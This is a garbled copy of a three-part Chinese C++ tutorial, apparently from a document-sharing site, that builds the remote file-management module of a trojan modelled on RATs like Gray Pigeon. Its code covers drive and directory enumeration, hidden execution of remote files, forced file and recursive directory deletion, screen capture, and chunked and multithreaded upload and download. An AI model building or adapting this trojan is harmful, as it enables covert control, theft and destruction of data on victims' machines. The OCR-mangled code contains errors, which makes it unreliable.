C++實(shí)現(xiàn)文件傳輸
《C++實(shí)現(xiàn)文件傳輸》由會(huì)員分享,可在線閱讀,更多相關(guān)《C++實(shí)現(xiàn)文件傳輸(26頁(yè)珍藏版)》請(qǐng)?jiān)谘b配圖網(wǎng)上搜索。
1、C++實(shí)現(xiàn)文件傳輸之一:框架結(jié)構(gòu)和界面實(shí)現(xiàn) 在木馬中文件管理的重要性,是無(wú)需質(zhì)疑的,對(duì)于文件的管理,做到并不難,但做 好卻也不易在我們編寫(xiě)一個(gè)功能完整的“文件木馬” 其實(shí)現(xiàn)效果如圖所示。為了文章的完整性,我們將分為數(shù)篇來(lái)介紹,本文主要介 紹程序的整體框架和界面實(shí)現(xiàn),在以后的文章中將以此框架為基礎(chǔ)實(shí)現(xiàn)詳細(xì)的功 實(shí)現(xiàn):枚舉磁盤(pán),枚舉目錄,獲取文件信息 上傳文件,下載文件,執(zhí)行文件,創(chuàng)建目錄,刪除目錄等 傳輸控制結(jié)構(gòu) 要實(shí)現(xiàn)客戶端與服務(wù)端的通信,設(shè)計(jì)一個(gè)合理的傳輸控制結(jié)構(gòu),會(huì)使后面的工作 輕松很多,為了使代碼易讀 首先對(duì)要使用的命令進(jìn)行預(yù)定義其各個(gè)命令定義如下 #defi ne Ge
2、tDriver 0x01 // 磁盤(pán)信息 #defi ne GetDirl nfo 0x02 // 目錄信息 #defi ne ExecFile 0x03 // 執(zhí)行文件 #defi ne GetFile 0x04 // 下載文件 #defi ne PutFile 0x05 // 上傳文件 #defi ne DelFile 0x06 // 刪除文件 #defi ne DelDir 0x07 // 刪除目錄 #defi ne CreateDir 0x08 // 創(chuàng)建目錄 #defi ne FileI nfo 0x09 // 文件信息 #defi ne GetScreen 0x1
3、0 // 查看屏幕 在程序的網(wǎng)絡(luò)通信中主要有 操作命令,命令對(duì)像,和具體數(shù)據(jù)三部分,對(duì)于命令 的傳輸定義如下結(jié)構(gòu) typedef struct { int ID; // 操作命令 BYTE lparam[BUF_LEN*2]; // 命令對(duì)像 }COMMAND; 因?yàn)樵诔绦蛑写蚪坏雷疃嗟木褪俏募?, 對(duì)文件的詳細(xì)屬性定義如下結(jié)構(gòu) typedef struct { char FileName[MAX_PATH]; // 文件名稱 int FileLen; // 文件長(zhǎng)度 char Time[50]; // 時(shí)間信息 BOOL IsDir; // 為目錄否 BOOL
4、Error; // 錯(cuò)誤信息 HICON hIcon; // 圖標(biāo)句柄 }FILEINFO; 服務(wù)端結(jié)構(gòu) 服務(wù)端還是比較簡(jiǎn)單的其整體思路如下 1. 服務(wù)端循環(huán)接受連接 , 并把連接交給線程處理 2. 線程接受"命令數(shù)據(jù)",并跟據(jù)命令I(lǐng)D將命令對(duì)像和SOCKE句柄傳給處理函數(shù) 3. 函數(shù)執(zhí)行指定功能 , 并返回執(zhí)行結(jié)果 對(duì)整體結(jié)構(gòu)的描述 , 我們用偽代碼表述如下 main() { /* 初示化設(shè)置 */ while(true) { if(client=accept(server,(sockaddr *)&clientaddr,&len))// 循環(huán)接受連接 { Cr
5、eateThread(NULL,NULL,SLisen,(LPVOID)client,NULL,NULL);// 傳遞線程 處 理 } } /* 清理釋放資源 */ WSACleanup(); } 服務(wù)端程序運(yùn)行后循環(huán)接受連接 , 如果有新的連接就傳遞給新的線程處理 , 線程 代碼如下 DWORD WINAPI SLisen(LPVOID lparam) { SOCKET client=(SOCKET)lparam; COMMAND command; while(1) { if(recv(client,(char*)&command,sizeof(command)
6、,0)==SOCKET_ERROR)// 接 受命令數(shù)據(jù) { cout<<"The Clinet Socket is Closed/n"; break; }else { switch(command.ID)// 判斷命令 ID { case GetDriver:// 將命令對(duì)像和SOCKE句柄傳遞給處理函數(shù) GetDriverProc (command,client); break; case DelFile: DelFileProc (command,client); break; /* 其它命令 */ } } } } 線程式的功能是接受客戶端的 "命
7、令數(shù)據(jù)", 并跟跟據(jù)命令 ID 將命令對(duì)像傳遞給 處理函數(shù) , 由函數(shù)完成指定的功能 以刪除文件命令為例其函數(shù)格式如下 DWORD DelFileProc (COMMAND command,SOCKET client) { if(DeleteFile((char*)command.lparam)==0)//command.lparam 為命令對(duì)像 , 這里為要?jiǎng)h除的文件路徑 { send(client," 刪除失敗 ..."); } else { send(client," 刪除成功 ..."); } } 很容易看出,處理函數(shù)接受"命令對(duì)像"和客戶端SOCKE句柄,
8、執(zhí)行后會(huì)把結(jié)果傳 遞回去 客戶端結(jié)構(gòu) 客戶端結(jié)構(gòu)的實(shí)現(xiàn)思路如下 1. 跟服務(wù)端建立連接 2. 發(fā)送用戶命令 3. 啟動(dòng)一個(gè)線程 ,用于接受服務(wù)端的返回信息 對(duì)整體結(jié)構(gòu)的描述 , 我們用偽代碼表述如下 void CMyDlg::OnConnect() { if(connect(server,(SOCKADDR*)&serveraddr,sizeof(serveraddr))<0)// 連 接 { return ; } CreateThread(NULL,NULL,CLisen,this,NULL,NULL);// 創(chuàng) 建 線 程 用 于 接 受 SERVE返回信
9、息 } 對(duì)于用戶發(fā)送的命令我們?nèi)砸詣h除文件為例說(shuō)明其代碼如下 void CMyDlg::OnMenuDelFile() { HTREEITEM CurrentNode = m_tree.GetSelectedItem(); // 取得選擇的節(jié)點(diǎn) CString FullPath =GetFullPath(CurrentNode); // 取得節(jié)點(diǎn)全目錄 COMMAND command; command.ID=DelFile; // 設(shè)置命令為刪除文件 // 刪除文件 command.lparam=FullPath.LockBuffer()); // 將路徑加入命令對(duì)像 send(
10、server,command); } 用于接受SERVE返回信息的線程,和服務(wù)端接受命令線程相似,這里就不再說(shuō) 明了,有興趣可以看下源代碼 到這里程序的流程框架就介紹完了,下面我們?cè)倏匆幌鲁绦虻慕缑嬖O(shè)置 . 界面實(shí)現(xiàn) 程序的主界面如上圖所示,主程序是一個(gè)對(duì)話框,主要包括一個(gè)樹(shù)控件 m_tree 和列表控件 m_list 分別 用于顯示磁盤(pán)目錄和文件,在對(duì)話框初示化時(shí)用以下代碼設(shè)置樹(shù)控件的屬性 DWORD dwStyle = GetWindowLong(m_tree.m_hWnd,GWL_STYLE); dwStyle |=TVS_HASBUTTONS | TVS_HASLINES
11、| TVS_LINESATROOT; SetWi ndowLo ng(m_tree.m_hWnd,GWL_STYLE,dwStyle); 對(duì)于列表框控件則沒(méi)有太多要求,要留意的是,如果顯示圖標(biāo)應(yīng)該把 Styles顯 示屬性設(shè)置為ICON VC的做出的界面,常常讓人有種摔鍵盤(pán)的沖動(dòng)。其實(shí)稍微留意一下其設(shè)置,也 可以讓它漂亮一些 比如上圖所示的界面就是經(jīng)過(guò)簡(jiǎn)單設(shè)置得到的, 而沒(méi)有用其它類庫(kù),有點(diǎn)興趣? 其設(shè)置方法為: 1. 在對(duì)話框?qū)傩灾性O(shè)置 Styles的Border屬性為T(mén)h in 2. 選重More Styles " 可見(jiàn)"屬性 3. 選重Extended Styles 的"
12、靜態(tài)邊"屬性 這樣再運(yùn)行一下程序是不是感覺(jué)清新不少 ? 到這里程序的主要結(jié)構(gòu)框架和界面實(shí)現(xiàn)就介紹完了, 下一篇將詳細(xì)介紹其各種功 能的實(shí)現(xiàn) C++實(shí)現(xiàn)文件傳輸之二 在上一篇中,我們以經(jīng)介紹了程序的流程和框架,在本篇將詳細(xì)討論各個(gè)功能的 實(shí)現(xiàn)主要包括 1. 獲取磁盤(pán)信息 2. 獲取目錄信息 3. 獲取文件信息 4. 運(yùn)行指定文件 5. 刪除指定文件 6. 刪除指定目錄 7. 創(chuàng)建指定目錄 8. 上傳下載文件 9. 獲取遠(yuǎn)程文件圖標(biāo) 獲取磁盤(pán)信息 磁盤(pán)信息可以用API GetDriveType來(lái)實(shí)現(xiàn),它以路徑名作為參數(shù)(如C:/)返回磁 盤(pán)類型,其實(shí)例代碼如下 DWOR
13、D GetDriverProc(COMMAND comma nd,SOCKET clie nt) { for(char i=A;i<=Z;i++) { char x[20]={i,:}; UINT Type=GetDriveType(x); if(Type==DRIVE_FIXED||Type==DRIVE_REMOVABLE||Type==DRIVE_CDROM) { /* 返回處理結(jié)果 ...*/ } } return 0; } GetDriveType 可能返回的結(jié)果如下 #define DRIVE_UNKNOWN 0 // 無(wú)效路徑名 #define DRIV
14、E_NO_ROOT_DIR 1 // 無(wú)效路經(jīng),如無(wú)法找到的卷標(biāo) #define DRIVE_REMOVABLE 2 // 可移動(dòng)驅(qū)動(dòng)器 #define DRIVE_FIXED 3 // 固定的驅(qū)動(dòng)器 #define DRIVE_REMOTE 4 // 網(wǎng)絡(luò)驅(qū)動(dòng)器 #define DRIVE_CDROM 5 // CD-ROM #define DRIVE_RAMDISK 6 // 隨機(jī)存取(RAM磁盤(pán) 在上面的實(shí)例代碼中我們只取 , 硬盤(pán),光驅(qū)和移動(dòng)磁盤(pán) 獲取目錄信息 這里只要枚舉用戶指定的目錄就可以了 , 其實(shí)例代碼如下 : DWORD GetDirInfoProc(COM
15、MAND command,SOCKET client) { /*command為要枚舉的路徑如(C:/)client 為返回結(jié)果的SOCKE句柄*/ FILEINFO fi; memset((char*)&fi,0,sizeof(fi)); strcat((char*)command.lparam,"*.*");// 枚舉所有文件 CFileFind file; BOOL bContinue = file.FindFile((char*)command.lparam); while(bContinue) { memset((char*)&fi,0,sizeof(fi));
16、bContinue = file.FindNextFile(); if(file.IsDirectory()) // 為目錄 { fi.IsDir=true; } strcpy(fi.FileName,file.GetFileName().LockBuffer()); // 保存文件名稱 if(send(client,(char*)&fi,sizeof(cmd),0)==SOCKET_ERROR) { cout << "Send Dir is Error/n"; } } return 0; } 獲取文件信息 以下實(shí)例代碼用來(lái)獲取 文件的名稱 ,路徑, 時(shí)間, 屬性等
17、信息 DWORD FileInfoProc (COMMAND command,SOCKET client) { /*command為要查看的文件如(C:/TEST.EXE)client 為返回結(jié)果的SOCKE句柄*/ FILEINFO fi; HANDLE hFile; WIN32_FIND_DATA WFD; memset((char*)&WFD,0,sizeof(WFD)); if((hFile=FindFirstFile((char*)command.lparam,&WFD))==INVALID_HANDLE_ VALUE) // 查看文件屬性 { fi.Error=
18、true; return 0; } // 得到文件的相關(guān)信息 SHGetFileInfo(WFD.cFileName, FILE_ATTRIBUTE_NORMAL, &shfi, sizeof(shfi), SHGFI_ICON|SHGFI_USEFILEATTRIBUTES|SHGFI_TYPENAME ); strcpy(fi.FileName,(char*)command.lparam); // 文件路徑 FileLen=(WFD.nFileSizeHigh*MAXDWORD+WFD.nFileSizeLow)/1024; // 文 件長(zhǎng) 度 fi.FileLen=Fi
19、leLen; // 轉(zhuǎn)化格林時(shí)間到本地時(shí)間 FileTimeToLocalFileTime(&WFD.ftLastWriteTime,&localtime); FileTimeToSystemTime(&localtime,&systime); // 文件修改時(shí)間 sprintf(stime,"%4d-%02d-%02d %02d:%02d:%02d", systime.wYear,systime.wMonth,systime.wDay,systime.wHour, systime.wMinute,systime.wSecond); if(GetFileAttributes((char
20、*)command.lparam)&FILE_ATTRIBUTE_HIDDEN) { /* 隱藏文件 ...*/ }else if(GetFileAttributes((char*)command.lparam)&FILE_ATTRIBUTE_READONLY) { /* 只讀文件 ...*/ } send(client,(char*)&fi,sizeof(fi),0); FindClose(hFile); return 0; } 運(yùn)行指定文件 運(yùn)行文件 有以下幾種方法 1.WinExec 2.ShellExecute 3.CreateProcess 這里使用的是 Shel
21、lExecute 其實(shí)例代碼如下 DWORD ExecFileProc (COMMAND command,SOCKET client) { /*command 為要運(yùn)行的文件路徑如 (C:/TEST.EXE)client 為返回結(jié)果的 SOCKET 句柄 */ COMMAND cmd; memset((char*)&cmd,0,sizeof(cmd)); cmd.ID=ExecFile; if(ShellExecute(NULL,"open",(char*)command.lparam,NULL,NULL,SW_HIDE)< (HINSTANCE)32) { strcpy((cha
22、r*)cmd.lparam," 文件執(zhí)行失敗 !"); send(client,(char*)&cmd,sizeof(cmd),0); } else { strcpy((char*)cmd.lparam," 文件執(zhí)行成功 !"); send(client,(char*)&cmd,sizeof(cmd),0); } return 0; } API 函數(shù) ShellExecute 原形為: HINSTANCE ShellExecute( 窗口句柄 操作類型 文件指針 // 文件參數(shù) 缺省目錄 顯示方式 HWND hwnd, // LPCTSTR lpOperation, /
23、/ LPCTSTR lpFile, // LPCTSTR lpParameters, LPCTSTR lpDirectory, // INT nShowCmd // ); 這是一個(gè)相當(dāng)有意思的函數(shù) , 在調(diào)用此函數(shù)時(shí)只須指定要執(zhí)行的文件名 , 而不必 管用什么程序去打開(kāi) 或執(zhí)行文件,WINDOWS自動(dòng)根據(jù)要打開(kāi)或執(zhí)行的文件去判斷該如何執(zhí)行文件或 用什么程序去打開(kāi)文件 , 如果 要求不高的話比CreateProcess要好用的多,如果想做出像NCP和灰鴿子那樣帶 參數(shù)執(zhí)行的話 , 其實(shí)也不難 只要指定 lpParameters 為執(zhí)行參數(shù)就可了 刪除指定文件 DWORD DelFil
24、eProc (COMMAND comma nd,SOCKET clie nt) { /*command 為要?jiǎng)h除的文件路徑如 (C:/TEST.EXE)client 為返回結(jié)果的 SOCKET 句柄 */ COMMAND cmd; memset((char*)&cmd,0,sizeof(cmd)); cmd.ID=DelFile; SetFileAttributes((char*)command.lparam,FILE_ATTRIBUTE_NORMAL); // 去 掉文件的系統(tǒng)和隱藏屬性 if(DeleteFile((char*)command.lparam)==0) { s
25、trcpy((char*)cmd.lparam," 文件刪除失敗 !"); send(client,(char*)&cmd,sizeof(cmd),0); } else { strcpy((char*)cmd.lparam," 文件刪除成功 !"); send(client,(char*)&cmd,sizeof(cmd),0); } return 0; 需要注意的是在 DeleteFile 前應(yīng)該去文件的系統(tǒng)和隱藏屬性 , 否則會(huì)刪除失敗 刪除目錄 可以用 RemoveDirectory 函數(shù)刪除目錄 , 但是 RemoveDirectory 有個(gè)缺點(diǎn)就是只 能刪除為空的的目
26、錄 , 對(duì)于不為空 的目錄就無(wú)能為力了 , 想要?jiǎng)h除不無(wú)空的目錄可以使用下面的實(shí)例代碼 BOOL DeleteDirectory(char *DirName) { CFileFind tempFind; char tempFileFind[200]; sprintf(tempFileFind,"%s*.*",DirName); BOOL IsFinded=(BOOL)tempFind.FindFile(tempFileFind); while(IsFinded) { IsFinded=(BOOL)tempFind.FindNextFile(); if(!tempFind.IsDo
27、ts()) { char foundFileName[200]; strcpy(foundFileName,tempFind.GetFileName().GetBuffer(200)); if(tempFind.IsDirectory()) { char tempDir[200]; sprintf(tempDir,"%s//%s",DirName,foundFileName); DeleteDirectory(tempDir); } else { char tempFileName[200]; sprintf(tempFileName,"%s//%s",DirName,foun
28、dFileName);
SetFileAttributes(tempFileName,FILE_ATTRIBUTE_NORMAL); // 去掉文件的系 統(tǒng)和隱藏屬性
DeleteFile(tempFileName);
cout <<"now delete "< 29、后刪除
指定目錄,成功返回TRUEfe敗則返回FALSE這段代碼可以直使用,但要小心使用, 因?yàn)槲以趥鲄?shù)時(shí)的失誤
結(jié)果把整個(gè) D 盤(pán)差點(diǎn)清空了
創(chuàng)建目錄
實(shí)例代碼如下:
DWORD CreateDirProc (COMMAND command,SOCKET client)
{
/*command為要?jiǎng)?chuàng)建目錄的路徑如(C:/)client 為返回結(jié)果的SOCKE句柄*/
COMMAND cmd;
memset((char*)&cmd,0,sizeof(cmd));
cmd.ID=CreateDir; if(::CreateDirectory((char*)command 30、.lparam,NULL))
{ strcpy((char*)cmd.lparam," 創(chuàng)建目錄成功 !");
send(client,(char*)&cmd,sizeof(cmd),0);
}
else
{
strcpy((char*)cmd.lparam," 創(chuàng)建目錄失敗!可能有重名文件或文件夾"); send(client,(char*)&cmd,sizeof(cmd),0);
}
return 0;
}
在創(chuàng)建目錄時(shí)應(yīng)該注意幾點(diǎn) ,首先創(chuàng)始目錄的上層目錄必須是存在的 ,比如想創(chuàng) 建C:/DIR1/DIR2目錄,要求
DIR1 是必須存在 , 用 CreateDir 31、ectory 并不能創(chuàng)建多級(jí)目錄 . 再者不可以存在和 要?jiǎng)?chuàng)建目錄同名的目錄和文件
因?yàn)樵诖疟P(pán)上目錄和文件的存放格式是相同的 , 惟一不同的是 目錄的屬性與文 件屬性不同
(FILE_ATTRIBUTE_DIRECTO屬生),所在即使有同名文件也會(huì)創(chuàng)始失敗.
上傳下載文件 上傳下載是是文件管理的重點(diǎn)所在 , 在這里按文件的大小 , 分兩種情況討論文件 的傳輸方法 小文件的傳輸相對(duì)比較簡(jiǎn)單可按以下方法進(jìn)行
1. 首先發(fā)送文件長(zhǎng)度和名稱
2. 跟據(jù)文件長(zhǎng)度建立緩沖區(qū)
3. 讀取整個(gè)文件到緩沖區(qū)
4. 發(fā)送緩沖區(qū)里的內(nèi)容
其實(shí)現(xiàn)代碼如下 :
CFile file;
FILEIN 32、FO fileinfo; if(file.Open(path,CFile::modeRead|CFile::typeBinary))
{ fileinfo.FileLen=file.GetLength(); // 文件長(zhǎng)度
strcpy(fileinfo.FileName,file.GetFileName()); // 文件名稱 send(client,(char*)&fileinfo,sizeof(fileinfo),0); // 發(fā)送長(zhǎng)度和名稱
char *date=new char[fileinfo.FileLen]; //
int nLeft=fileinfo.FileLen; 33、
int idx=0;
file.Read(date,fileinfo.FileLen); // while(nLeft>0)
{
int ret=send(client,&date[idx],nLeft,0); //
if(ret==SOCKET_ERROR)
{
break;
}
nLeft-=ret;
idx+=ret;
分配和文件長(zhǎng)度相同的緩沖區(qū)
讀整個(gè)文件到緩沖區(qū)
發(fā)送文件
}
file.Close();
delete[] date;
}
跟據(jù)上面的實(shí)例相信大家可以領(lǐng)悟到文件傳輸?shù)幕驹砗头椒?, 雖然很簡(jiǎn)單但 用它傳輸小文件還是非常實(shí)用的
34、
大文件傳輸方法 用上面的方法傳輸小文件還可以,但是大文件呢?比如一個(gè)500M的電影.上面的 方法就會(huì)力不從心了因?yàn)?
按思路要?jiǎng)?chuàng)建一個(gè)跟文件大小相同的緩沖區(qū) , 顯然這是不太現(xiàn)實(shí)的 , 我們就得采 用另種方法了 , 在這里我們使用
分塊文件傳輸 , 所謂分塊是指把大文件分成若干小文件 , 然后傳輸 , 比如設(shè)定每塊 大小為64KB其思路如下
1. 取得文件長(zhǎng)度和名稱
2. 跟據(jù)長(zhǎng)度/64KB計(jì)算文件塊數(shù)
3. 分配64KB緩沖區(qū)
4. 讀文件到緩沖區(qū)
5. 發(fā)送緩沖的數(shù)據(jù)
6. 重復(fù) 4,5 兩步直到發(fā)完所有數(shù)據(jù)
其實(shí)現(xiàn)代碼如下 :
#define CHUNK_SIZE ( 35、64*1024) // 分為 64K塊傳輸
DWORD GetFileProc (COMMAND command,SOCKET client) {
/*command 為要下載文件的路徑如 (C:/TEST.EXE)client 為發(fā)送文件的 SOCKET 句柄*/
COMMAND cmd;
FILEINFO fi; memset((char*)&fi,0,sizeof(fi)); memset((char*)&cmd,0,sizeof(cmd));
cmd.ID=GetFile;
CFile file;
int nChunkCount=0; // 文件塊數(shù)
if(file.O 36、pen((char*)command.lparam,CFile::modeRead|CFile::typeBinary)
)// 打開(kāi)文件
{
int FileLen=file.GetLength(); // 取文件長(zhǎng)度
fi.FileLen=file.GetLength(); strcpy((char*)fi.FileName,file.GetFileName()); // 取文件名稱
memcpy((char*)&cmd.lparam,(char*)&fi,sizeof(fi));
send(client,(char*)&cmd,sizeof(cmd),0); // 發(fā)送文件名 37、稱和長(zhǎng)度
nChunkCount=FileLen/CHUNK_SIZE; // 文件塊數(shù)
if(FileLen%nChunkCount!=0) nChunkCount++; char *date=new char[CHUNK_SIZE]; // 創(chuàng)建數(shù)據(jù)緩沖區(qū) for(int i=O;i 38、 idx=O;
file.Read(date,CHUNK_SIZE); // 讀取文件
while(nLeft>O)
{
int ret=send(client,&date[idx],nLeft,O);// 發(fā)送文件
if(ret==SOCKET_ERROR)
{
break;
}
nLeft-=ret;
idx+=ret;
}
}
file.Close();
delete[] date;
}
return O;
}
這樣文件傳輸部分就完成了 , 止于客戶端的實(shí)現(xiàn)于上面代碼其本相同 ,只是由讀 文件變?yōu)閷?xiě)文件 , 詳細(xì)請(qǐng)參考源代碼 獲取遠(yuǎn)程 ICO 文件圖標(biāo) 39、
我們?cè)谖募斜砜蛑行枰@示文件的圖標(biāo), 但遠(yuǎn)程文件的 ICO 圖標(biāo)是無(wú)法直接得 到的
猛若RADMINI洞者也沒(méi)有到(對(duì)于EXE文件只顯示可執(zhí)行程序圖示),當(dāng)然了也 不見(jiàn)的決對(duì)沒(méi)有
我們可以通過(guò)如下變通方法得到: 就是跟據(jù)文件的擴(kuò)展名, 從本地注冊(cè)表中查找 對(duì)應(yīng)的程序圖標(biāo) 不過(guò)這也有它的缺點(diǎn)對(duì)于EXE文件它只能顯示一個(gè)可執(zhí)行文件的圖示,而且只能 顯示注冊(cè)過(guò)的圖示比如,如果
本機(jī)裝有WINRA那么就可以識(shí)別.RAR的文件圖示,否則就無(wú)法識(shí)別 …
實(shí)現(xiàn)方法
ClmageList m_lmageList;
m」m ageList.Create(32,32,ILC_COLOR32, 40、10,30); // 創(chuàng)建圖示
m」ist.SetlmageList(&m」m ageList,LVSIL_NORMAL); // 與列表控件相關(guān)連
SHFILEINFO info;
memset((char* )&in fo,0,sizeof(i nfo));
SHGetFileI nfo(fi->FileName,0,&in fo,sizeof(&in fo), SHGFI」CON|SHGFI_ USEFILEATTRIBUTES);/關(guān)鍵所在
int i = m_lmageList.Add(i nfo.hlc on);
m_l ist.l nsertItem(i,fi->Fi 41、leName,i);
原來(lái)我試圖在Server端通過(guò)上面的代碼把info.hlcon 句柄保存下來(lái),然后放到 Client,在單臺(tái)電腦上很好使,但
Server在另一臺(tái)電腦上時(shí)就玩完了,因?yàn)閕nfo.hlcon 里保存的句柄是個(gè)索引而
每臺(tái)機(jī)器上的索引是不相同的所以
直接導(dǎo)致的結(jié)果就是:什么也顯示不出來(lái)....
C++實(shí)現(xiàn)文件傳輸之三:斷點(diǎn)續(xù)傳與多線程傳輸轉(zhuǎn)
繼木馬編程DIY的上兩篇,現(xiàn)在我們開(kāi)始討論斷點(diǎn)續(xù)傳與多線程文件傳輸?shù)膶?shí)現(xiàn) 其實(shí)這兩項(xiàng)功能是下載軟件所
必不可少的功能了,現(xiàn)在我們把它加到自己的木馬中來(lái)感受感受 .提到多線程下
載,首先向網(wǎng)絡(luò)螞蟻的作者
洪以容前輩致敬,正 42、是由于網(wǎng)絡(luò)螞蟻而使得多線程下載被關(guān)注并流行起來(lái) ?在這
本篇文章中我們將簡(jiǎn)單的實(shí)現(xiàn)
支持?jǐn)帱c(diǎn)續(xù)傳和多線程傳輸?shù)某绦?為了更清晰的說(shuō)明問(wèn)題,我們將斷點(diǎn)續(xù)傳與 多線程傳輸分別用兩個(gè)程序來(lái)實(shí)現(xiàn)
多線程傳輸實(shí)現(xiàn)
實(shí)現(xiàn)原理
將源文件按長(zhǎng)度為分為N塊文件,然后開(kāi)辟N個(gè)線程,每個(gè)線程傳輸一塊,最后合 并所有線線程文件?比如
一個(gè)文件500M我們按長(zhǎng)度可以分5個(gè)線程傳輸.第一線程從0-100M,第二線程從
100M-200M…… 最后合并5個(gè)線程文件.
實(shí)現(xiàn)流程
1. 客戶端向服務(wù)端請(qǐng)求文件信息 (名稱, 長(zhǎng)度)
2. 客戶端跟據(jù)文件長(zhǎng)度開(kāi)辟N個(gè)線程連接服務(wù)端
3. 服務(wù)端開(kāi)辟新的線程與 43、客戶端通信并傳輸文件
4. 客戶端將每線程數(shù)據(jù)保存到一個(gè)文件
5. 合并所有線程文件
編碼實(shí)現(xiàn)
大體說(shuō)來(lái)就是按以上步驟進(jìn)行 ,詳細(xì)的實(shí)現(xiàn)和一些要點(diǎn) , 我們跟據(jù)以上流程在編 碼中實(shí)現(xiàn)
結(jié)構(gòu)定義
在通信過(guò)程中需要傳遞的信息包括文件名稱 ,文件長(zhǎng)度,文件偏移,操作指令等信 息, 為了方便操作我們定義如下結(jié)構(gòu)
代碼:
typedef struct
{
char
Name[100];
//
文件名稱
int
FileLen;
//
文件長(zhǎng)度
int
CMD;
//
操作指令
int
seek;
//
線程開(kāi)始位置
SOCKET sockid;
44、}FILEINFO;
1. 請(qǐng)求文件信息
客戶端代碼如下
代碼:
FILEINFO fi;
memset((char*)&fi,0,sizeof(fi));
fi.CMD=1; // 得到文件信息
if(send(client,(char*)&fi,sizeof(fi),0)==SOCKET_ERROR) {
cout<<"Send Get FileInfo Error/n";
}
服務(wù)端代碼如下
while(true)
{
SOCKET client;
if(client=accept(server,(sockaddr *)&clientaddr,&len)) { 45、
FILEINFO RecvFileInfo;
memset((char*)&RecvFileInfo,0,sizeof(RecvFile Info));
if(recv(client,(char*)&RecvFileInfo,sizeof(Re cvFileInfo),0)==SOCKET_ERROR)
{
cout<<"The Clinet Socket is Closed/n"; break;
}else
{ EnterCriticalSection(&CS);
// 進(jìn)入臨界區(qū) memcpy((char*)&TempFileInfo,(char*)&R ecvFil 46、eInfo,sizeof(RecvFileInfo));
switch(TempFileInfo.CMD)
{
case 1:
GetInfoProc (
client);
break;
case 2:
TempFileInfo.sockid=
client;
CreateThread(NULL,NU
LL,GetFileProc,NULL,NULL,NULL);
break;
} LeaveCriticalSection(&CS);
// 離開(kāi)臨界區(qū)
}
}
}
在這里服務(wù)端循環(huán)接受連接 , 并跟據(jù) TempFileInfo.CMD 來(lái)判斷客戶端的請(qǐng)求類 47、型 ,1 為請(qǐng)求文件信息 ,2 為下載文件
因?yàn)樵谙螺d文件的請(qǐng)求中 , 需要開(kāi)辟新的線程 , 并傳遞文件偏移和文件大小等信 息,所以需要對(duì)線程同步 . 這里使用臨界區(qū) 其文件信息函數(shù) GetInfoProc 代碼如下
代碼:
DWORD GetInfoProc(SOCKET client)
{
CFile file; if(file.Open(FileName,CFile::modeRead|CFile::typeBinary)) {
int FileLen=file.GetLength(); if(send(client,(char*)&FileLen,sizeof(FileLe 48、n),0)==SO CKET_ERROR)
{
cout<< "Send FileLen Error/n";
}else
{
cout<< "The Filelen is "< 49、)// 接受文件長(zhǎng)度
{
cout<<"Recv FileLen Error/n";
}else
{
cout<<"FileLen is "< 50、1==5) // 最后一線程長(zhǎng)度為總長(zhǎng)度減前 4 個(gè)線程長(zhǎng)度
{ FI.FileLen=FileLen-COUNT_SIZE*i;
}else
{ FI.FileLen=COUNT_SIZE;
}
Thread=CreateThread(NULL,NULL,GetFileThread,&
i,NULL,NULL);
Sleep(500);
//
LeaveCriticalSection(&CS);
離開(kāi)臨界區(qū)
}
} WaitForMultipleObjects(5,Thread,true,INFINITE);
// 等所有線程結(jié)束
這里默認(rèn)開(kāi)辟 5 個(gè)線程傳輸 51、,當(dāng)然可以改為想要的線程數(shù)目 , 仍然用臨界區(qū)來(lái)實(shí) 現(xiàn)線程的同步問(wèn)題
3. 服務(wù)端開(kāi)辟線程傳輸數(shù)據(jù)
在 1. 請(qǐng)求文件信息中以說(shuō)明了服務(wù)端的結(jié)構(gòu) , 這里主要介紹線程函數(shù)的實(shí)現(xiàn) , 其 代碼如下
代碼:
DWORD WINAPI GetFileProc(LPVOID lparam)
{
EnterCriticalSection(&CS); // 進(jìn)入臨界 區(qū)
int FileLen=TempFileInfo.FileLen;
int Seek=TempFileInfo.seek;
SOCKET client=TempFileInfo.sockid;
LeaveCritica 52、lSection(&CS); // 離開(kāi)臨界 區(qū)
CFile file; if(file.Open(FileName,CFile::modeRead|CFile::typeBinary)) {
file.Seek(Seek,CFile::begin); // 指針移 至偏移位置
char *date=new char[FileLen];
int nLeft=FileLen;
int idx=0;
file.Read(date,FileLen); while(nLeft>0)
{
int ret=send(client,&date[idx],nLeft,0); if(ret==S 53、OCKET_ERROR) {
cout<<"Send Date Error /n"; break;
} nLeft-=ret; idx+=ret;
} file.Close();
delete[] date;
}else
{ cout<<"open the file error/n";
} closesocket(client);
return 0;
}
還是比較簡(jiǎn)單的 ,主要是獲取線程的文件長(zhǎng)度和偏移 , 并移動(dòng)文件指針到偏移處 最后讀取發(fā)送數(shù)據(jù) , 而客戶端 接受數(shù)據(jù)并寫(xiě)入文件 .
4. 客戶端將線程數(shù)據(jù)保存到文件
GetFileThread 的實(shí)現(xiàn)代碼如下 代碼 54、:
DWORD WINAPI GetFileThread(LPVOID lparam)
{
char TempName[MAX_PATH]; sprintf(TempName,"TempFile%d",*(DWORD*)lparam); // 每線 程的文件名為"TempName"線程數(shù)
SOCKET client;
SOCKADDR_IN serveraddr;
int port=5555; client=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); serveraddr.sin_family=AF_INET;
serveraddr.sin_ 55、port=htons(port); serveraddr.sin_addr.S_un.S_addr=inet_addr("127.0.0.1"); if(connect(client,(SOCKADDR*)&serveraddr,sizeof(serveraddr))=
=INVALID_SOCKET)
{ cout<<"Connect Server Error/n";
}
EnterCriticalSection(&CS); // 進(jìn)入臨界區(qū)
if(send(client,(char*)&FI,sizeof(FI),0)==SOCKET_ERROR)
{ cout<<"Send 56、GetFile Error/n";
return 0;
}
文件長(zhǎng)度 文件偏移 離開(kāi)臨界區(qū)
CFile file;
int FileLen=FI.FileLen; //
int Seek=FI.seek; //
LeaveCriticalSection(&CS); //
if(file.Open(TempName,CFile::modeWrite|CFile::typeBinary|CFil e::modeCreate))
{
char *date = new char[FileLen];
int nLeft=FileLen;
int idx=0;
while(nLe 57、ft>0)
{
int ret=recv(client,&date[idx],nLeft,0);
if(ret==SOCKET_ERROR)
{
cout<<"Recv Date Error";
break;
}
idx+=ret;
nLeft-=ret;
}
file.Write(date,FileLen);
file.Close();
delete[] date;
}else
{
cout<<"Create File Error/n";
}
return 0;
}
在此線程函數(shù)中,將每線程傳輸?shù)臄?shù)據(jù)存為一個(gè)文件,文件名為"TempName"線程 數(shù), 58、 只所以存成單獨(dú)的文件是
